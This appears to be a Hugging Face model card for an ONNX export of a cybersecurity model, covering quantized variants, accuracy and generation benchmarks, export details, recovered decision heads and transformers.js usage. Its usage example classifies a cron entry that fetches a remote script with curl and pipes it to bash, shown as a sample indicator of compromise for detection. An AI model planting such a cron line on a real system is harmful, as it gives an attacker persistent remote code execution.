eduardoworrel/alias3-micro-1026-ONNX

alias3-micro-1026 · ONNX (optimum/Scan graph, transformers.js)

ONNX export of aliasrobotics/alias3-micro-1026 in 7 dtypes, loadable by transformers.js generate(), with the hidden state exposed for System 1 heads. Browser: onnx/model_q4.onnx (dtype: "q4", 3.04 GB in 2 chunks, WebGPU) — Chrome decisions = onnxruntime on every decision-test question. Base model: aliasrobotics/alias3-micro-1026 (Alias Robotics), whose card labels the weights a “research preview”. Paper: arXiv:2610.16550. System 1 / System 2 and the bilinear pointer-head interface come from that paper, which draws on Kahneman's dual-process framing and adapts the typed-decision head from the Jev / System One lineage of TypeSafe AI (pointer networks, Vinyals et al., 2015).

ONNX · transformers.js | ONNX · GenAI | ONNX · decode-only | MLC q4f32_1 | MLC q4f16_1 | LiteRT.js

Score vs size

Produced by: fp32 · fp16 — optimum export + our optimum-onnx patch · q8 · uint8 — optimum ORTQuantizer + our patch 0002 · q4 · q4f16 · bnb4 — our scripts (optimum has no 4-bit).

System 1 per file

Accuracy is not statistically distinguishable from the original (0 of 70 paired tests, McNemar, before or after Holm correction); individual decisions change on 2.3–26.7% of questions; the test set (50–65 questions per mode) only detects large losses.

Dark segment: accuracy when the answer is read straight from the model's logits (the Yes/No, option or digit tokens). Lighter segment: the extra accuracy when the readout head (head.bin, or head_score.bin for severity) reads the hidden state instead. Severity (head_score.bin) is a proof of concept: fitted on 30 synthetic cases; using it as a severity scorer calls for a larger, independently labelled set.

System 1 table on the decision test set (logits / head per mode)

Status vs the original model: 🟢 within 2 answers of the original (or better) · 🟡 3+ below the original, not significant · 🔴 significantly below the original (McNemar p < 0.05) · ⚪ original model (PyTorch bf16), the reference.

file	yes/no (65) · logits	yes/no (65) · head.bin	multiple choice (57) · logits	multiple choice (57) · head.bin	severity (50) exact · logits	severity (50) exact · head_score.bin	severity (50) ±1 · head_score.bin	changed answers vs original (default read)
Original (PyTorch bf16)	⚪ 54/65	⚪ 54/65	⚪ 39/57	⚪ 46/57	⚪ 20/50	⚪ 26/50	⚪ 47/50	—
model_q4	🟢 55/65	🟢 54/65	🟢 39/57	🟢 48/57	🟢 20/50	🟢 26/50	🟢 47/50	17.4%
model_q4f16	🟢 55/65	🟢 54/65	🟢 38/57	🟢 46/57	🟢 20/50	🟢 26/50	🟢 48/50	17.4%
model_fp16	🟢 54/65	🟢 54/65	🟢 38/57	🟢 46/57	🟢 20/50	🟢 26/50	🟢 47/50	2.3%
model	🟢 54/65	🟢 54/65	🟢 38/57	🟢 46/57	🟢 20/50	🟢 26/50	🟢 47/50	2.3%
model_bnb4	🟢 55/65	🟢 53/65	🟢 44/57	🟢 46/57	🟢 20/50	🟢 31/50	🟢 45/50	11.6%
model_quantized	🟡 51/65	🟢 52/65	🟢 40/57	🟡 43/57	🟢 18/50	🟡 20/50	🟢 45/50	22.1%
model_uint8	🟢 54/65	🟢 53/65	🟢 39/57	🟡 39/57	🟢 18/50	🟡 22/50	🟢 45/50	26.7%

Files: onnxruntime CUDA, one prefill per question.

Browser details (load, timing, agreement)

file	size	fits browser	load (Chrome)	time per decision	Chrome decisions = server
model_q4f16.onnx	2.73 GB	✅	11.9 s	5.8 s (median per probe)	390/394 · generate() 24/24
model_q4.onnx	3.04 GB	✅	11.4 s	7.4 s (median per probe)	394/394 · generate() 24/24
model_bnb4.onnx	2.74 GB	✅	11.6 s	7.6 s (median per probe)	394/394 · generate() 24/24
model.onnx	16.83 GB	❌ > 4 GB	—	—	—
model_fp16.onnx	8.42 GB	❌ > 4 GB	—	—	—
model_quantized.onnx	4.22 GB	❌ > 4 GB	—	—	—
model_uint8.onnx	4.22 GB	❌ > 4 GB	—	—	—

Chrome WebGPU, Apple M2 Pro, transformers.js 4.3.1.

Files: size, tool, runtime

file	dtype	size	external data	produced by	runtime (measured)
onnx/model_q4.onnx ⭐	q4	3.04 GB	2 chunks ≤ 2 GB	S · qscan.py (MatMulNBits int4 + GBQ int4 embedding)	transformers.js (Node, Chrome WebGPU) · onnxruntime
onnx/model_q4f16.onnx	q4f16	2.73 GB	2 chunks ≤ 2 GB	S · mk_q4f16.py (MatMulNBits, fp16 scales)	transformers.js (Node, Chrome WebGPU) · onnxruntime
onnx/model_fp16.onnx	fp16	8.42 GB	1 file	O+P · optimum export float_dtype=fp16 + our optimum-onnx patch, our export config and hidden-output script	transformers.js (Node) · onnxruntime
onnx/model.onnx	fp32	16.83 GB	1 file	O+P · optimum export (dynamo, Scan) + our optimum-onnx patch, our export config and hidden-output script	transformers.js (Node) · onnxruntime
onnx/model_bnb4.onnx	bnb4	2.74 GB	2 chunks ≤ 2 GB	S · mk_bnb4.py (MatMulBnb4 NF4 + GBQ uint4 embedding)	transformers.js (Node, Chrome WebGPU) · onnxruntime
onnx/model_quantized.onnx	q8	4.22 GB	1 file	O+P · optimum ORTQuantizer QInt8 + patch 0002	transformers.js (Node) · onnxruntime
onnx/model_uint8.onnx	uint8	4.22 GB	1 file	O+P · optimum ORTQuantizer QUInt8 + patch 0002	transformers.js (Node) · onnxruntime

Provenance: O = official tool as-is · O+P = official tool + our patch or wrapper · S = our script (what the official tool does not do). ⭐ = recommended for the browser. Also: config.json (with transformers.js_config), generation_config.json, tokenizer, heads/, SHA256SUMS.txt.

Generation (System 2)

System 1 = single-forward typed decisions through the bilinear pointer head (sections above); System 2 = generation, the usual decode loop from the same weights. Terms as in the base model card and the paper.

96-step greedy, 22-token prompt. Reference = the decode-only fp32 ONNX tokens on onnxruntime CPU (method of record; there is no bf16 original generation run). Scan graph: the prompt is prefilled in one call, then cached steps (the transformers.js generate() path).

Generation details per file

file	free-running = fp32	first divergence	teacher-forced	teacher-forced cos (mean)
model_fp16	96/96	—	96/96	1.0000
model	96/96	—	96/96	1.0000
model_uint8	94/96	53	95/96	0.9827
model_quantized	72/96	53	94/96	0.9820
model_bnb4	5/96	2	93/96	0.9706
model_q4	2/96	2	93/96	0.9641
model_q4f16	2/96	2	92/96	0.9641

Measured with onnxruntime 1.31 CUDA EP.

Peculiarities

• graph: optimum/Scan graph: real attention_mask, multi-token prefill, linear-attention layers as ONNX Scan
• inputs: input_ids, attention_mask, past_conv.N, past_recurrent.N, past_key_values.N.key/value
• batch size: static 1
• head outputs exposed: hidden name: mul_13450 (fp16: type_as_80) — listed in onnx/HIDDEN_OUTPUTS.json
• single-file vs 2-chunk external data: fp32/fp16/q8/uint8: 1 file (format 1) · q4/q4f16/bnb4: 2 chunks ≤ 2 GB (format 2)
• cache dtype (kv_cache_dtype): fp16 → float16 · all others → float32
• transformers.js generate() = onnxruntime, same file: 7/7 files, 24/24 tokens each
• dynamic W8A8 (q8, uint8) is unstable across EPs: ±1–6 hits per task on the decision test set between runs on different EPs/machines
• q4f16 on WebGPU: fp16 activations: 4/394 decisions differ from onnxruntime, all near-ties
• long context (one text, 7 positions): fp32 cos ≥ 0.9977 up to 5990 tokens · q4f16 cos ≥ 0.939; argmax 7/7
• browser floor: transformers.js web needs each external-data file < 2 GB (Chrome fetch) — met by the 4-bit files
• export of the model (optimum + our optimum-onnx patch): optimum-onnx has no qwen3_5 export config, and the stock Gated-DeltaNet forward does not trace (the ONNX tracer silently drops its in-place state writes). We run optimum's own onnx_export_from_model with our optimum-onnx patch: a qwen3_5 config, the hybrid cache (conv and recurrent state next to the key/value cache, named the way transformers.js allocates it) and an export-safe Gated-DeltaNet forward. This graph uses our own export config (dynamic sequence axis, attention_mask kept, one dynamo graph with Scan), because optimum has no qwen3_5 config and its cache-aware config forces a one-token dummy input. The recurrence is written as a torch.scan loop, one token per step (the form kept after the comparison below). Effect: linear-attention layers export as ONNX Scan; the cache inputs are past_conv.N, past_recurrent.N, past_key_values.N.*.
• sequence axis and attention mask: optimum's cache-aware export config forces a one-token dummy input, which freezes the sequence axis at 1 (measured: input_ids [1,1]). Our export config bypasses that, so the sequence axis is dynamic, attention_mask is kept and a whole prompt prefills in one call (dynamo exporter, one graph, opset 21).
• post-final-norm hidden output: the stock export returns logits and the cache only. A small script of ours appends the input of the output matmul (the post-final-norm hidden state) as an extra graph output, without copying the weights: mul_13450, or type_as_80 in the fp16 export. The System 1 heads read it.
• no position_ids input: the graph is built without a position_ids input on purpose. In transformers.js the get_rope_index path is taken only when the graph exports that input, and that function reads vision_config, which a text-only Qwen3.5 config does not have.
• fp16 (optimum exporter, not ORTOptimizer): optimum's graph optimizer (ORTOptimizer, fp16) raises NotImplementedError for qwen3_5_text, and a blanket fp32-to-fp16 cast conversion would also convert the norms and the Gated-DeltaNet bodies that must stay fp32 (a blanket cast conversion measured cos 0.913 on this model's decode graph). We export fp16 with optimum's exporter itself (model loaded in fp16, float_dtype=fp16) and then append the hidden output as above. Effect: the cache inputs and outputs are fp16 (kv_cache_dtype float16). Measured against fp32: logits cos ≥ 0.999994, 12/12 greedy tokens, and 96/96 in the 96-step test.
• q8 and uint8 (optimum ORTQuantizer + our patch 0002): the default ORTQuantizer dynamic quantization omits ONNX Runtime's MatMulConstBOnly default, so it also quantizes activation-by-activation matmuls that ONNX Runtime itself leaves in float (q8 on the Scan graph: 2/12 greedy tokens right, 12/12 once they are excluded). Patch 0002 restores the default. Proposed upstream: https://github.com/huggingface/optimum-onnx/pull/155. On the 40-token test, with the patch q8 gets 12/12 greedy tokens (2/12 without) and uint8 12/12 (1/12 without); their cosine to fp32 stays low (0.892 and 0.519) because activations are quantized per tensor at run time, so it changes with the sequence length. A weights-only 8-bit graph (activations kept fp32) measured cos 0.998 and 12/12; the decode-only repo's model_quantized.onnx is built that way, so use it when the loss of dynamic 8-bit matters.
• 4-bit files (our scripts): optimum has no 4-bit path. Our scripts read the fp32 graph tensor by tensor: all 248 weight matmuls and the tied output matmul become MatMulNBits int4, block 32 (q4), MatMulBnb4 NF4, block 64 (bnb4), or, for q4f16, MatMulNBits with fp16 scales between fp16 casts; the embedding becomes GatherBlockQuantized (int4, uint4 for bnb4). The Gated-DeltaNet Scan bodies, the norms and the caches stay fp32, byte-identical to the fp32 graph.
• browser packaging (2 external-data chunks, config): the three 4-bit files are re-cut into 2 external-data chunks of at most 2 GB at tensor boundaries, because Chrome fetch fails on files of 2.7–3.0 GB; the weight bytes are unchanged, only the locations in the graph file change. Our staging step also writes onnx/HIDDEN_OUTPUTS.json and the transformers.js_config block in config.json (use_external_data_format, kv_cache_dtype).
• chosen by measurement — how the recurrence is exported: three formulations of the Gated-DeltaNet recurrence were tried for an export that must accept any prompt length. (1) One padded chunk (the prompt padded to a fixed 64): about 9,000 graph nodes on a small test model and about 36,000 on the 4B model, and at most 64 prompt tokens per forward. (2) A doubling (associative) scan kernel: no loop at all, but it silently stops working past 4,096 padded tokens (state cos 1.000000 at 4,096 tokens, 0.000000 at 4,112). (3) A torch.scan loop exported as ONNX Scan: 2,612 nodes on the small model and 10,153 on the 4B model, no length cap, 174-token prefill within 3.2e-5 of PyTorch, and the same greedy tokens. We kept (3): the shipped graphs have 24 Scan operators (one per linear-attention layer), and the long-context test crosses 4,096 tokens without a cut (fp32 cos ≥ 0.9977 up to 5,990 tokens). The scan advances one token per step because longer steps left shape constraints the exporter could not prove (it then froze the sequence axis), while one token per step left none. Cost: this graph is built for generality, not for speed.
• chosen by measurement — q4f16 scale rule: two scale rules were tried for the 4-bit file with fp16 scales: the ONNX Runtime symmetric rule (largest-magnitude value divided by -8, rounded to fp16) and absmax/7. On the same 40-token test the first gave cos 0.959 and 9/12 teacher-forced tokens, the second cos 0.917 and 7/12 (CPU and CUDA agree). We kept the ONNX Runtime rule.
• ours vs the official tool — 4-bit files: we also ran the transformers.js quantize.py (commit 3c64b72) on the same fp32 graph and scored it on the same 40-token test (ONNX Runtime 1.31, CPU). Official file against ours: q4 cos 0.968, 9/12 teacher-forced, 4.78 GB against cos 0.956, 9/12, 3.04 GB; q4f16 cos 0.967, 9/12, 3.28 GB against cos 0.959, 9/12, 2.73 GB; bnb4 cos 0.925, 10/12, 4.56 GB against cos 0.941, 10/12, 2.74 GB. No meaningful accuracy difference (the official cos is a little higher on q4 and q4f16, ours on bnb4); our files are 0.5–1.8 GB smaller. For q4 the gap comes from the embedding and the tied output matrix, which the official tool leaves in fp32.
• System 1 head file (head.bin recovered from a truncated release file) and prompt markers: the official head.pt is a truncated streaming zip and cannot be loaded, so head.bin is recovered from it (q exact; k.weight 89% of rows; k.bias lost and estimated as one offset). The marker-to-id mapping is not released, so the prompt markers are plain text, and the official System 1 endpoint needs a fork of SGLang (--systemone-head) that is not in public SGLang. Table and numbers: “Changes to the official head” below.

Our patches and scripts are kept by the authors and are available on request.

Usage

import { AutoTokenizer, AutoModelForCausalLM, pipeline } from "@huggingface/transformers";   // tested: 4.3.1

const repo = "eduardoworrel/alias3-micro-1026-ONNX";

// text generation
const generator = await pipeline("text-generation", repo, { dtype: "q4", device: "webgpu" });
const out = await generator([{ role: "user", content: "Explain SQL injection in one sentence." }],
                            { max_new_tokens: 128, do_sample: false });

// System-1: one forward, read the hidden state for the heads
const tok   = await AutoTokenizer.from_pretrained(repo);
const prompt = "...";              // System-1 prompt ending in <decide>
const model = await AutoModelForCausalLM.from_pretrained(repo, { dtype: "q4", device: "webgpu" });
const enc   = tok(prompt, { add_special_tokens: false });
const res   = await model.forward({ input_ids: enc.input_ids, attention_mask: enc.attention_mask });
const hidden = res["mul_13450"];   // [1, S, 2560]; model_fp16.onnx: "type_as_80"

config.json already carries the external-data layout transformers.js needs:

"transformers.js_config": {
  "use_external_data_format": { "model.onnx": 1, "model_fp16.onnx": 1, "model_quantized.onnx": 1, "model_uint8.onnx": 1,
                                "model_q4.onnx": 2, "model_q4f16.onnx": 2, "model_bnb4.onnx": 2 },
  "kv_cache_dtype": { "fp16": "float16", "q4f16": "float32", "fp32": "float32", "q8": "float32",
                      "uint8": "float32", "q4": "float32", "bnb4": "float32" }
}

System 1 on this graph with ct0-edge:

import { CT0 } from "ct0-edge";

const ct0 = await CT0.load({ runtime: "transformers.js", device: "webgpu", transformersRepo: "eduardoworrel/alias3-micro-1026-ONNX", dtype: "q4" });
const state = "path: /etc/cron.d/x\ncontent: * * * * * curl http://x/y | bash";
await ct0.ask({ kind: "score", state });   // { type: "score", level, raw }
await ct0.askMany(state, [{ kind: "noul", q: "Is this a suspicious indicator of compromise?" }, { kind: "score" }]);

Heads

file	size	read by	shipped
heads/head.bin	2,622,548 B	yes/no, multiple choice — bilinear pointer head over the hidden at <decide> and at the last / option positions	✅ in this repo
heads/head_score.bin	2,622,668 B	severity (levels 1–5) — ridge probe on the last-position hidden, same file format (proof of concept: fitted on 30 synthetic cases; using it as a severity scorer calls for a larger, independently labelled set.)	✅ in this repo

mode	ct0-edge default read	alternative
yes/no	logits Yes vs No (no head)	head.bin
multiple choice (1 of K)	head.bin	logits of each option's first token
severity (1–5)	head_score.bin	logits of digits 1…5

Hidden positions: <decide> (the final > of its 4 tokens >< dec ide >) and the last prompt position (choice: each option's position).

Changes to the official head

Each decision is read two ways from one prefill: by the logits at the last prompt position (no extra weights) and by the head on the hidden states at <decide> and the key positions (the rows after the first).

	official (base card / paper)	ours	why
logits read	not part of the official System 1 (the paper leaves head-vs-logits to future work)	compare next-token logits: Yes vs No; first token of each option; digits 1–5	weight-free baseline every runtime supports; the dark segment in the System 1 figure
weights file	head.pt on the base repo: truncated streaming zip (no central directory), cut inside k.weight	head.bin, recovered from it: q.weight/q.bias 100% (CRC match), k.weight 89% (227/256 rows), k.bias lost → one score offset (+16.27) estimated without labels	the official file cannot be loaded
format	PyTorch head.pt for the CSI SGLang fork (--systemone-head)	head.bin (fp16, JSON header) read by ct0-edge systemone.ts in JS, same math	on-device runtimes
yes/no read	bilinear pointer head with K = 2 options	query at <decide>, key at the last position, plus the offset	marker-to-id mapping and prompt row are not published
severity read	ordinal scale as a K-option pointer (System 1 severity 44.4% in the paper)	new head_score.bin: ridge probe on the last-position hidden (λ = 10), encoded exactly in head.bin's 2-row layout; trained on 30 labelled cases, measured on the 50 severity questions (proof of concept: fitted on 30 synthetic cases; using it as a severity scorer calls for a larger, independently labelled set.)	the released head does not order severity
prompt markers	reserved ids (mapping unpublished)	plain-text markers	see the note below the table
temperature / orientation	T = 2.0; query at <decide>, keys at </opt>	kept as released	—

Prompt markers: the paper maps the markers (<state>, <q>, <opt>, </opt>, <decide>) onto reserved token ids. The model has 243 unnamed embedding slots (ids 248077–248319) beyond the tokenizer's last token (248076), but the marker-to-id mapping isn't published, so we write the markers as plain text, which the tokenizer splits into ordinary tokens.

“Extra from the head” in the System 1 figure = how many more questions the head read gets right than the logits read on the same decision test set (ours).

How measured

• Decision test set (ours): 172 security questions with known answers, written by us (not part of the CT0 release): 65 yes/no, 57 multiple choice (chance 0.272), 50 severity (1–5, held out from head_score.bin); sha256 88e0f6c5…
• Stats: 95% bootstrap CI (2000 resamples) · McNemar exact, paired per question, vs the original model (PyTorch bf16, revision 61c0e710)
• Hardware: server rows: onnxruntime CUDA EP on RunPod GPUs · browser rows: Chrome 155 WebGPU, Apple M2 Pro
• Runtime: transformers.js rows: 4.3.1, Node CUDA EP (RunPod A40) and Chrome WebGPU
• Files: eduardoworrel/alias3-micro-1026-ONNX · base model: aliasrobotics/alias3-micro-1026

Citation

If you use these files, please cite the base model:

@article{ct0_2026,
  title   = {{CT0}: Cybersecurity Transformer},
  author  = {Mayoral-Vilches, V{\'i}ctor and {Alias Robotics}},
  journal = {arXiv preprint arXiv:2610.16550},
  year    = {2026},
  url     = {https://arxiv.org/abs/2610.16550}
}

Base model card: aliasrobotics/alias3-micro-1026.

License: Apache-2.0 (weights, as upstream).